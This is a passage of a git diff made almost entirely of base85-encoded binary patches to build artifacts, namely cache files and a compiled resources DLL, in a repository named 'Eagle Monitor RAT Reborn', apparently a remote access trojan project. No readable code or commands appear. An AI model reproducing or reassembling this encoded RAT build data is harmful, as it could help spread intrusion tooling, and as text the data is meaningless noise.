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 D$`Y7w delta 1028 zcmZWmT}TvB82$F{k27~?XI5Ix)hx$#*|w}Gd(hHEC{WYHkRY;_*fz7YM2)gEsSSi+ zQTr%g3XCFxB5aHFAv6Ua3L+$glCUCr(CVe4KZ82jLudns@9&)R-MM#qsNmB~e%BSX zf`|lgfQNla-9t~f%TmlQEnnIP(TrJ$dJs1N6E>o#gUFA3e*%$)*#MNI3ehcXs%zi&G4`Jau_#~p&hv-4C6WnL0r{FgR zei73S$Vq>6!(MN zrg)dN6-r8}r7#_#!_-8%6rx&W`zS)k>G3w6RD6yw2F($q0efbfq!s)|$>Pg0O||T;K}T6qn-MsQNNmpGr!ePphZB*i%QFrX*$ZOEra`sM1>bTk?duT3k(M zDT8KliIY<2>l&bI#AzeYo~q_5xk_X=a#XGq3wgvD5Y=V;9^rf~d$cvedy2PcL2)m}4Vo`~EUqp5lcTtt z2+nkHl>0Ql_48YepKHs_C116LXFmp31S`XIfX-=by1XSPvR$(mIC~p4b1o6Mg=jsM z&$!6__bx+}L+hvk&++Y-PM$ivRL$HQ{Tqacqb@V;z11L3{oHK!RR88h2|VOly!fIt z$lb6&JEHMNmse!DS+i R5^w?<-~#mi_%0*Y_6IxS;H3Zn diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/TempPE/Properties.Resources.Designer.cs.dll b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/Release/TempPE/Properties.Resources.Designer.cs.dll index f19d8cd97738277f00328fdc64ffd8a53b61f289..04b278fefd11c192a43f949132b6e1579d1d86e9 100644 GIT binary patch literal 14336 zcmeHOeUKc*b$>IrxA!4*(%nf2kc3V;N$3MDI-LZ@NWh&=2mxn_yA$#m@G`qQ+MC?$ z%rY~3r^5vZOG-*b2oU7BY+@(DqA+n>#$~w>DeO2ljz0NhIEA;H-Ak-bp z{<4Ekw7szWq;}H_%f}`xzo+cEMb9YpAjU&_#Nzxh*r(m^n)P7_^w zgrWRj{i#?M;q%f6(eAJ~JH3PGyxBEpm-Y~~Mi8ywuaEGVz&sFuU(*i)U39GAf3Gr=OGXHEzh`%`@9iJRUAW{503?f3b##;dTi(j>9wJ=36z~xy9MvCB(m*5Z|evgC8U7Wc|6| zBYwXoj-So%5qv2j{*i?EXAVD>pIr&@enR|%3GrV`h<`mHzA2T= zKWh`>M-$>F6XK5~#DC#j@R9ZSavUGeQ@qbb*4O{W@$VCF-Ob7T-=7e_HzB^15dUyO z{9h%+|0E&4DV@xpmnFoHC&V8~i2qVT{68kdYc0wAvos-oJR$zxg!so3;$KOK|7Ak_ z($-}DydoifcS5|M5dUaG{L=~Xe|s+YNWOhDj-M^xM)1E#h@aaQo3Hn=zab%hdqVtp zLi}Vx{Go*SCllhomJt8rg!o16$>wVyA>K@g|3pIklV`_=@6l;_kH#rNy+`Y7aB+fH z`CI&PygRSy1QXz0NI%FByf6=r-Y}@Cn*zR{nA)7#nCaix-^VZacx$pj$MAyQdk@h! z@LYno|K8ESvz(&Oh}RYpJY8olK+EQG`z~~8mNjgp6 z5t`H6((`B-)zb7!jpeWE`%-B-m1cSa%I$Q%{y=k@HUOEXwJj{ayLl_hi<C~L2b~>d!3Oc1T{d4VAMrw@zH8Fj+t+~0Kz6v?_<7Ou4A9|(Dr=Mw`Nncpw z9z@@m|ja>D14*85tS z+p0KSI9qWK3iro~`&Z$fSKNzYao?8_9adaXbSD&dL|QnlIK5rQw>GqLRO$^WE-O6?6t`1! z#}&6O9G~KTBs$Jk9G_dm@hR@8_`0CDX+a)SoFmBR6!#Mu(c6lbduS-7{TpC*WPq8_qIA7We6nBy6jw^0Jbf*-zNx0O8(8}LS z>~2=v%M#ZG#a$)bF~xmakk2V@x9Hwh+#ABJ%!D?-C&)3yk#L6<=L_T3r;mZ z1s!M5H}y7pu~|d*N6wTMx(WmI0wmvc- zxg2zL%k`jI(>OgWm@m_xkV%(N7kyt_OWWxcErXlrmnlQt^dr#4^e&{mq-)!;f$G{W z!Q@4f7fGIQ>8u^1e#(Ge1fG3nEDgofb(+ z%3l=vtVq@h{kTZ7LO(B(%`ML(vQyaa`4^gIL_!)=rxyIv@hejsXdB{BM`XDD?*2EF=!Vp1?{F~pbPL@i4Gj17ALAzpoi2_QOj|&g(G{RQ_-#jrEyOf&1naPP4d_Z509{4fL08ib&`W41 z=o+j?9c|nQx{iiH*CXb!|6_&fXm1oWgEgR|)qS8FX&khVZUx;$w}bXm7IZUKsE&T* zK`+PZ)X|$F=m*FGy^8BOml?s(@ZY)1cSV4CnxT40Mq02Hj5g zf)3GrpgZUg=yh}ibSM2D==I1UI>vB6=neD$=#7YXoo+&|&@rAzKtDvE0NqWW1l@z& zqGN22f{w^8I*M$969D}g=wA99=q>a(=stP^^uzQdr4Ay<8$O#-;d!?zw24o?aoIkg z8f6ul)5J3Q6wM%O8b#aO)JI&l@~-25AZt1MU9V&Wmg{8uH;E=hg`kpAG(FSLZf<1z zw$RpLw@|UotEuGYUC*|14OUA=KFUv7e#Nk}Im5Ra|mGU2Zob3qnJUV3o|VnX-Ak z;S_9>cA5cm*LiM9Ng__cudtKZ{T5&mAsfhIToablAkVv{5^QGen7m}=J-0mJ0?jRn zsqGj-#WTsr1XRm#uk^Ia50uNcm6sVAHG_a(pau=Uu}RM~0+V(WtibgKJ$KqSa<(}d zh_IA13k9<<5a8u2R{?ChTPkBL-cHjoJwPI=nuwiOuQ6oiDn(5Ehg@f`Z+eZ&8f>qR z;HYsFR^pD-Ww9RC6(i>UQDeUu%#0w0{JK2ss|d4*(9chp zyeJW-jfyF&V7l47VcWC^L1}t{W%`*B6?uMU$n?=W)63-jOu@GKdrm;r_h@JNZyk_T z%9S9?nT4w1J#08pn5+)p-5+F)Ldj}SnZbnVIandCL%T3`y2bQ-lH)0};>=7F;9ddi4O*cB{D z%H*-|LFEyN6qCorX*BOgjn%vbaW(oaqv*H@;JQeyty*_RO>fG|o3$#{QTS@9WASjP z`m}?$mFzH@MX$0W17q0{Gv|6vrXFilO=Zz;Aqz@+qhU^!91Lh1c?ip7#;lf>@a@4$yrXDHlr zqV;_O{A>I;Osv)n#P^ zu~=ut3^JFA*sodhjj0I7i>0p1dG4g?uxBE|dZwxa>u!^jQdih+(c)u^a!)zR6f7@X z<8?h!5#}t5O)-$uj;dDmv#*wHy+U=8&(wsAyN={lS?7G71vr8Ot=7AWWAWj|Mjj9U zXwI+ekO2{_HR$XyQ`dWD**0eCJWfecu8Gt2Fiy-4&d~v$9{3TQkH_R`Qch$J&ggrfbE%9P9*`EEKBOb^baBG=a5iTd zbsB`z8|wGt1Yf2D_!F8OTFc{%9+52{gbfFB4=3_0PT?-YZNWF# zSXzM0gFY`k;!#BE_p;W9j^&O*nT7Vus3S`S zFVfFNzhP__vfRVycs?3h?=GU9fF|Ih9NwNb@qBKulvjPce`UoNQ=kr{p?`fm*-{?$ zXjLP6_IZz^@~~UR2r4oo)e`kK+RCF99$`^>Z_!;S)1o+LLQr%`T<&7lOVV#1aTs5y zzkW7c89m{aI3lLt5l?zXYtO_w!0}44Wd!UMo(WnUM{?YTy^s5|AaVo#HZXdgzv}v_ zz$dh<(Na7rA!CV5skYS=4ruUq2T zJkf=Xz2!B}v56>(^?)^D6!M&KhMBFOXQHH^u{oO^6|MtX*w`b^FUW~8uZB|2e&LFs z<&Cv?>kXd$x0h-}P(@hG?xvCo;F=ZL+ZmAUqi-{V#}HcG&RS%~M| z2a5L@#BprxaHi%6EWmo0*J>W@YxF&@3C`Kv<3M(gcovV(Cf5k?kG)sq=#P1Z^J)<~ zgFSOqytS}a*r#fi$iiBfm$PCu%n$LH=Gm+6j9K(K+~dwf&4@SIS8SJ8J$xC9iP_o< z=gC98cueqEc~1-HhCR!pK%~XunCF7M7v?{n)A))VgO;-yycWx>oSS9s$Fef#N1ki8 z${E^buf}4QF+P05+AzQI93WrBW@cLQ3-2u0NzgvWL{VDhSjyt2a0~H@j>|V=Ck@wd zWcORhtCsh(hI7KQ`f4kq6^`hJJ#%5W>cX9LINeh0ac)OPhOit)oNA11&90dRJdpAAT?I8t%L~)k9r-)2#2> zn`+UzwlufsOS-OvWJ!l&wl%eA9T0Rtz>o!8b-Zi5_368AyXC^oZyarX>YD7moj+{< zpq_4RN_X|)y9M6`xS{RpW3mMo`!LPLE17J=J#7aU7NDS|S{Vkig~^pnwl%c^fWm@S z4Zi~L=VJaze@s7rpJ$YDQMcnj-YoN-#u)BVr+p2$7L9T8rw^+&+%EH9M~vxn2W;D& z9>z_iRmKhHnBKO_!G(*3*GL-Bs9#+W)ZX?p^6s6%<(Z2&*%`jeEL4?)6^k!9TKlfR zUxVNu(YQu8)?epuk$d0Kpi;2hOn4dSXR22LwM(a}U{qd}ufxrUx|ejta(`$U1DeC* zAryElME{NdpQrli8bzt6$~8W#|KCd}#YM3mabw6g!VXiWbp9PvCCx_ zCGzW@x4W|=AvF0j7Smp{Jx6kmOP`}S1=sM4f^tCpI3GIET?a5*HmBGEt=WR&W?+e z>D}W*J2jnNShBBB8|^Jx*>{$o9+ZnopVC#$gEjO9+=7xF%^AvJJ2rh9sXG$XSE(-T!>yYL~SqwI~qaB zQ->YURL2lyE?r6b5oRu3vaW^tp+_Ef(`tw^-Yu{%NEd@NPo< zT?z4DPl$gpA^ztH@$Fi&_-sgs-;)r3$C==<$7}0*PaKbBKHd606vxN&;bX|3bi@8P z>iAC1A5J&U!;|vn`*qxz<=N{A@xMuk@79y8>(H6tBXPebjz3l0BlvPc{QU{>-${u7 zNkaUu65=mtiN*gT;xmyD?;3g!sG81Rtrl z561DQs<#pRV+ry9kP!dVg!o@4#CNvG*7qakyCNZeV?z8b3Gufk#NVF~|AU11UnRsZ z??@K^iG=uDPLB`Yb2IXui>y}fx%%oZyoAuDH~RbVZoB$yFafms5r*KsWOVBKQBA$E zmXWnC(aR&P`Bfqd(~9nSx(7k#23%OISA|bO;Ov5 z@O)&|j(rnj&@BW1C|=1|joNOW!T8_}Tf1rL!y3#G{Z<>HbLAbMmVkvz^1TsPbR#&+ zrvZdHaX;FN?-ahQV=U2&E!<{=sXv;|&{3gR>i4D3rXS;#tbK-QWhJ9E}KS;lw?hiR_F|}phPG1c#r}5gkF?9&^Pqf=X|DKM}?mq5!*RnD^&}hGK z_qQ!ee-7NEiu&na%Q zjr%>NxUA^jR@{A}J7;BRfc)b^eHvd!S@pdZihcf!@iW|?c?s3Kal_1|# z+??nZ4TM&9X^h;Wxc#ED73a3F?zrNf7v#%|`&o*0?-Hq0N^>w_kC8EV^TgJ08wYaoxhbtGEq<>_x5N z{QPIp?Nr=5;rc1=LP0*RxLz6WO~q}L8R1ky^}-!f+@^NU!DkgWEZO?5;vSN0?OhvM`K{=7D((r<-LAN; zqI+C%gJSbd#T^jcqHJj8U!>m_#l0jtTXF5u@3`WYiSA{^9hH9XEAC%Kw+5%O9Qp4G zw_kB7;f@LShizZZJdF80BHZVtE@2-Dci%EU{TI-2oqI%Yr*c|D730da9JGT5K^N1o zNHz(*74%%%ChgDAV(lXO4DD+lq6tXWfqp(S3i_NrMGJy?kiJSe*x8HGTUfM`oU~?CJ5}sKNmV9^nZlzX=C|%X+I$CCDOi4+C#+JG(7`)oyf1sJcsse(tcj(6N20)?O$dX z|6e-eUz1)F8E$_=B!{IvrLp9IwEY%t|D#CWNpbt$aI7@9OVZX`xqW9S5lpvub$vU_ zpA^i+V&RxrJ1FfPf}9b|4I!gz(pM!)C#3y1(jJrcTEP^h{kq6sk#?uZd!>E1 z$p1~+&k1c4`jyQ0vF19~oWE(TehQR-jc5hUP&;TVvP#DoE@ZV1#QC6$=>pJhS^?UF-w1S|SAm{G1E5Rk63}yzw>o+bfi9!9pv&np z(2rq9=&&*Z+DjWiFF=m!bRmAz&|z^iXdhh-+E3SjuEc)PVSPL3MKlgNKs!J$Mpo+> z=?2i%GzmJ0EZ6Y^$sW)lJPqOgO8Y?9(oLXQx*7B``V{Cox&?F?drQX;L&iOix&w3@eHwHW zdt8V2cY%)4QP6Sv0_e4LH|P$!2lP7n1JDWNxK7v8eV{kc{h&MP0nkbMBhXJs)!ju8 zp}m{_6m$=&gO2_D=b%&c2 zBuY(9xC1ZGhHV{g67Dr;Y_lLRwI?P}q-fL%%0?wRif5MHz|0j*|6t%YX^KW*pxBtG zIE91NCRN3==8#vIo?SFOF;|NuCduWl<{WQ?F}Iwp?WpL`TpV)dp^EK#%806`RqPCIUMv)-lVu2134#Wvui^J$#Rdu|d{ z6vOBCZkx{SHS@0LWE)vSwUQE@462conW${qb!}e+$OzN%v1lQy=2^&9?5Zy$+O2?X zfKub-<}9z;++o%TcpLA^|2`I1`izA&J=)(l3snzQAy;$@)iSnIR2jHM7iHFO68e}v zX3f<%*T`P!RJSr^zRqBa z%;VD~hTeA4EK!v9gWr~&;ZqkMx#R6-V!@VYurwP@q7H41WxkiWDBA=`Y zcV`31+p59&yb1^eCtBURs$=oPfsINV{-KrM(4j^lS?kbK=S)NInHAeuXz+LnX)tO7 zKqhIm&G*f6-VPb1bIf^mf-Cg`KYe{_9M7mFoHv?yVx7cOsDo$I09OzEUOZ<`%hja3 z$Q(TD?uO2#3VL`zTDbaO>n>`yU zLR*0MWf>&^K8Gh)7o)K^9F4j^=QDO5mTX*kjuD;MiRw;cr_-#*9)C7>c9a`N^mw*S zwwIcSVIcnbm=VtgQC>2GcDR0Z5BnQ3_MWxeFXHEUA2PS)EcY-wUXP~Hmy|G0K(mNZ z9&aJ*c|F%!Dylx-V{#IUIZy}EFup#nY^i{LG|-Gb^}5GV1=y`%231*+T8maS+bUob zo?%J6x9Bk1bY2`YD=4}oE_bo&W$~M59Of7L51k5EfhRl?XT%&L;)!Q8crw-jj(3VJ zGvKK3O3?XnBI0c?904oKIN!*jlnC%p8s*SA_!S=0~D9hvRWR*;Zpe)6!;-xF(>E#Uc?(xnhM` zO#RKhc;;ahs>LK80iFf#s(7B2WoBXhn}ro#)A*`2Fg_47h(@?GSdQ7ovX3pyONK@hrF%`O4Lq*C>oD&(%Xsj$7s2C<7B#4qkU3 zD84r!_hR|Z)pZt#BCLnCs2;)L=Gb!{bDd?61F87&${Sxz?h)W0N3X3FvC>ecRMIrtpjmrh14NHjTCY?pT`Vi~K9ry4I@ zClCGNIl*(~`%n&)@0YXUB{D6R$GjFCy|8BSn#OnRG_+iS5Vcq}UqSjPVg0)`m5S*8ue*wlecrWxk6^^~d-;o05#mxs<~x*#_br9hc*erMtsD z9JymHtCUBJGqh2s!lxY{{pNs-jM2|g5AW;YUAcBIsoUPjvE)oYlbnrM9z1=HMUbmL zEWaX{%c}5!{ot$$vw-izT%$^$24>DHSoeBKEuSK?6{pIjh#rrhhhN|G?+?Cl$Mw%F zJou#j)~{PA)u(A~Eq$b=(dh0@_vuRWzPVUL7Z#DE;rXQ8OC8}7dIB6p{3dw1~SNGEtBDvHUQ9A)TXKbmEc1D zoqAe7_a@J%;1p~8P{FM5`N1@f6z6>nxK@py!?$TPqRx-%FVR_f)6L>^$;FH00w2{C zYs%58#fJoK!yEC31Nes{SGIGrMmJ3I=^meeWN(zS&8eVTwA^fXH0Eb(ui5pZnVMiq zURSTh@qs#xbH)5fXda%b6WhPs%?^j3=egadnAoNE|0#rG9D;gdwmoU!Oh(RSO;b*T hSo^^MY%Gp-{~h~b5kSlrLHF9a4+H#8{{J}w{|k|^6fXb( diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/DesignTimeResolveAssemblyReferences.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/DesignTimeResolveAssemblyReferences.cache index 9fe83a9043a655ea332fe722c204d02227e9b501..21b47ea480796be061d222bd286c4f6bc313a162 100644 GIT binary patch delta 121 zcmX@z$9lStb;Im8tdb4qKcAbNsG+<0>>E`+C|7W)#Ag2APo!86PXGVwEJ$|p**EIb zeZ&}BHdnlDW!WAo&G?mrRa24k_u0un#gqAet8ed9VZ12H8WzL_6g!x&%g8)=qonNg T^;V3%Ks_xi+Yi_?cC!NjoCY=U delta 160 zcmX@z$9lStb;Im8tkG*U{_L2XsG+<0>>E`+R@a*TpF1WCE|u8K|NDs)t32ObmX$zR z@9FEU7=tGJYp_qBBgSYlIbTX|`#&+p8H|$+PV-DoU=^ACKt^D5-ur&0?V-|)UpZLQ p!lnQ<3NE$Z-lxKNQIz#mMAhp>lMm*D4eG_IzmIAA0ei-7b^rrxK_&nI diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache b/Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache index a6dd0fbbef0cfa4070593d6619ee5d98b3d3b35b..40f1e8fd60521d0cccb37f15e0925717bebe69ae 100644 GIT binary patch delta 2058 zcmYk6+fP(i6viFWvt$_Oe!-c7$W;*;VL*%AT6I7XuyXMNisNzSFbp2%42MCW7HjWS z+giGNc~g_Nk4;Q$(ljQP|3H#n(mu2%O`qDgHff)l^gDa+VI&!{e&1SW?RDAb{Cn-2 z>$dx!Ic$B*>+58{IyM~hTefVWF#h#%&8w+tU5iCCNrNJrD(iK6jSM*83Y46)#KDlJYstK6WHZSHp0En>1y_DXGqYMgVPv^$CtT z9QNe3$6oj@!sO>mr#(N1CCim#aVZ`n>v6aeQczBgbu=#z5QM8 zqfVf#rN`@V@cO!**6eJ3`&R0PBzxW-_EQh=Y#(b4pQT=y^5E~nL3$o2(;tlZ=mj9s zk3`PVA(*40q<yM#q}oYiKso;9YCnwwabwo1&(kTG(|nAqx8_+o4V*1th^^Py=?o-! zAtSW`ItxsRxh>c3qzNG3SDgJ;8>UGhhHR^wpmQ+!7~<^nx)7ZQiirkwBb~_>7c&Kq zoaR)$i!J~$rTO}CO2CwtE7ahji$LCmwb}@&Mf@Ik3CO1#XC1pdlmv?X`g2d8mV%Dc zY;}F?k6ljEfPCQb@@d0dQq5GcuxXLex)XPHyC_}Ecv)L1hRr~ijSe@4CbUN4zI`9^g_o#G8$fF^hPxY;eVJhY@({p05CvR|4D3N1rI1@ra8+uC_kD-h&fzuxDfmw*FS{!VtkMPX$v zWpou1ABK=7TFU8VNJE7vAFTq13#hQItuEynq%^zTKE~!+gUTx)T~ZnQz15>!hmzpR zP|QiMf{qsx+=)5pH7mf9s@X=YmtF@R5_qwD8#~k%P~L!a2`MJaju@sEP3bzl$sV<3 zl(*oRvK)$~z0Gd5&noXgyKHG}e7}!wfcX1lCAUBLWPeO4zX`4I=OtJ+{OA^Y(y8uw z7v?kli@I(rg{9zUe>&V|-&EOb*ACnJ>_%5*_%=k})nl1#{-m0p={JqJfxI@iN*}Oq zyQ*w!>`B+r@P~+TUL94J`ZKzALY>oAi9w1MIt|%ALIGz==wr6gow40~(Am>d@;_ed B=Cq-nqj*g${~^9VQ>b1^2y1{(q?B_VyL zRbTW-P1Q{swd$s-R4J|0E-H0Zsi=!ClP)SDb<-WYN=e)FKldIWNJjJhGiT<^oOA9E zTZX@Hee=255MV-(Ke;-3E;FhTshz9wPKXtpP4LG9XfAF>ghja|*Npu3JH5g>y<=N>ZP~Q-H zYBQU)YNwvnOj0zXsU1*7@4x3e=rnK)op=VUGbtrKtHpFe)OIpXT`)zRCk1vo14JFZ z$8e#W&H{%y_Oc%fP4of~$#%UVmREF)&H-_bJUCforx$^uznvl%od=4B>WU@m28zsE z#ct{W>fO7Rl+}zH@wY6k`<9Y13c!ORJZndZlP&3|`>8K%+4E6|9WV6_~T4-KsJQ192Wa#}`%k zGzJtieZJa7<3O~_y>r#MGyxP>=;vygCV^s9r8O413e<+t!`5qLngVK9D8wECr-9fz zPn9gnW*xP5iX2KG)fUh-Al45R^spzjGATg)JRM8%H3X#pq>aj)K} zkM}w>jEaBK_UbK^0BXk+WP=S7Eds>@`nthNNgyVNXQ40VA6WjXQF-2Lr6r(v6_0(A z9u*~yz5(qz*H~`5o!$iD9W47j z560SCjPASO{XZMQGT=vVvHPbL&)YDM238XZLpCfUex_%`4W`rH?;eB?$^Fsayh>LzVN^6?H& a7(PVtFcE_?smf@estfy()4Zb-=nf?>)f{LxbXvEtfTf|U+em|852)>tgTc6d+Bj}F6wK2y=_y^ z`L~u!lRnv20;P0ssnl`RQSGI@|2SpatOcWY`t;uAr`kHll}jDv#?`Hr?W>bR+DaXR zVn||3<>s=G)B{;FuZT;fwz<{DFJQo% z=JqsxEuX!O=j5}m@lW~eZ~RO?lWC2=2r#|zZ~2_jc#@xuC1Tzgkl1e}{y`Xe8W>$j z?rl6Tcwgh$pu$BohkrvbkgrD1P;_BBRRr^b>*x;YkBbXx!2)cB97@h5&7 zdn^Pav{t2mWf-4w4DsSp>5OtyJnA+y5bu$}-*$%R7OXOSO9I4 zt{9GVMua%fRcViw;$v*jVH3uVx$@*?cZRL+0WN8MT&J`?cu;4$NlZpMZqQ_BK&f=P zCcEM@U5gz_uE}LkffIk)l8(|LWelZE{8{Me&~g-E`uk>9fG~bwr!mn=0B2P(EE77$ zvRhr%XchiOtN8~pqAOa1Kl8>!Yw@x0!6&ASIUB;-y4#aV`(P(Jz7F)q3;Ww4^~K1d zz_`GWkt#3{D9}B+6XxBn3J(|+66i3T3U0tVy$Txq)W|zS=jxJOGzf;IoyyIlV7QP} zEjJky1Je3`!N`pn2yPwG)9|l#zXcw@1w#`rE0@mbt8HxT(%L+sClTj60Hj74lO;Zh z(5`5@QF0MDG+aC!r@HbHXiBsT>s&lSoxPx+RHFW2r5lE=v>w{cov|FN2%+A2^A-SV zE!bgR+oaYjcj!qrfLd;z0D0AjaBa@eMpiM>_k@bkrhu?F2`>YotK1k%du;`wqw!k& zEjPx2Ft~GV-VoN5w20jUf`~vg=o(jUB&-s>2emtmj0q}Z?a-b<6;WfafFLsV24Q@; z!5Yz(5HZGxm1vejsnc^o=Biam(Z~%Vq2B2e<@riQt$Mmw7gHvWqxlv))cByR`dIe}|;iMyy zz8wGxB9*X2Ytdw--L#2dooch2LiQVar4wN!92gM9I`9#Ox&|vmr%~i+BXS;MQ#=WJ 